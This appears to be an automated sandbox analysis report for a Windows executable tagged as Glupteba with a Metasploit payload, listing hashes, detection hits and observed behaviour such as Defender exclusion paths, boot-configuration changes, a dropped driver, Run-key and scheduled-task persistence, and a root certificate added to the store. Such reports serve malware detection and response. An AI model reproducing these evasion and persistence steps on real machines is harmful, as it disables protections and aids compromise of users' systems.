Analysis
-
max time kernel
151s -
max time network
167s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
29-01-2023 18:00
Static task
static1
Behavioral task
behavioral1
Sample
4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Resource
win10v2004-20221111-en
General
-
Target
4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
-
Size
3.8MB
-
MD5
ae38ab4a24718f368139908c03b4c841
-
SHA1
5856e1cfe4f30a1acc76c03e827b21b60f7aa147
-
SHA256
4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e
-
SHA512
081ed2d3e09ecfdc33801e7dec8e6d8f838d7931df8e086b41b553baba7fdf23fd13cd1d9c38b74156e782c95559f18097b4143d02180ee3b2f61cbb723b7fee
-
SSDEEP
98304:lLlJKeJy/dSFCryijIeT4BQZ/gWK9JbW6Dc+mOeMkEQsmF:VVwdMX8TgsK7kcefE
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba payload 8 IoCs
Processes:
resource yara_rule behavioral1/memory/1384-56-0x00000000012E0000-0x0000000001AE4000-memory.dmp family_glupteba behavioral1/memory/1384-57-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1384-58-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1340-64-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1340-69-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/808-72-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/808-73-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1536-76-0x0000000140000000-0x00000001405E8000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Processes:
4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ProudGlitter = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe -
Modifies boot configuration data using bcdedit 14 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 924 bcdedit.exe 1168 bcdedit.exe 1752 bcdedit.exe 1724 bcdedit.exe 1568 bcdedit.exe 1592 bcdedit.exe 812 bcdedit.exe 1636 bcdedit.exe 652 bcdedit.exe 1668 bcdedit.exe 2008 bcdedit.exe 1572 bcdedit.exe 824 bcdedit.exe 1520 bcdedit.exe -
Drops file in Drivers directory 1 IoCs
Processes:
csrss.exedescription ioc process File created C:\Windows\system32\drivers\Winmon.sys csrss.exe -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exedsefix.exepid process 808 csrss.exe 1536 patch.exe 1456 dsefix.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
-
Loads dropped DLL 12 IoCs
Processes:
4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exepatch.execsrss.exepid process 1340 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe 1340 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe 856 1536 patch.exe 1536 patch.exe 1536 patch.exe 1536 patch.exe 1536 patch.exe 1536 patch.exe 1536 patch.exe 1536 patch.exe 808 csrss.exe -
Processes:
4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ProudGlitter = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Windows\CurrentVersion\Run\ProudGlitter = "\"C:\\Windows\\rss\\csrss.exe\"" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in Windows directory 3 IoCs
Processes:
makecab.exe4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exedescription ioc process File created C:\Windows\Logs\CBS\CbsPersist_20230129190143.cab makecab.exe File opened for modification C:\Windows\rss 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe File created C:\Windows\rss\csrss.exe 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1148 schtasks.exe 1432 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
netsh.execsrss.exe4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople csrss.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs csrss.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-22 = "Cape Verde Standard Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust csrss.exe -
Processes:
csrss.exepatch.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b80f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a441400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a319000000010000001000000014c3bd3549ee225aece13734ad8ca0b82000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc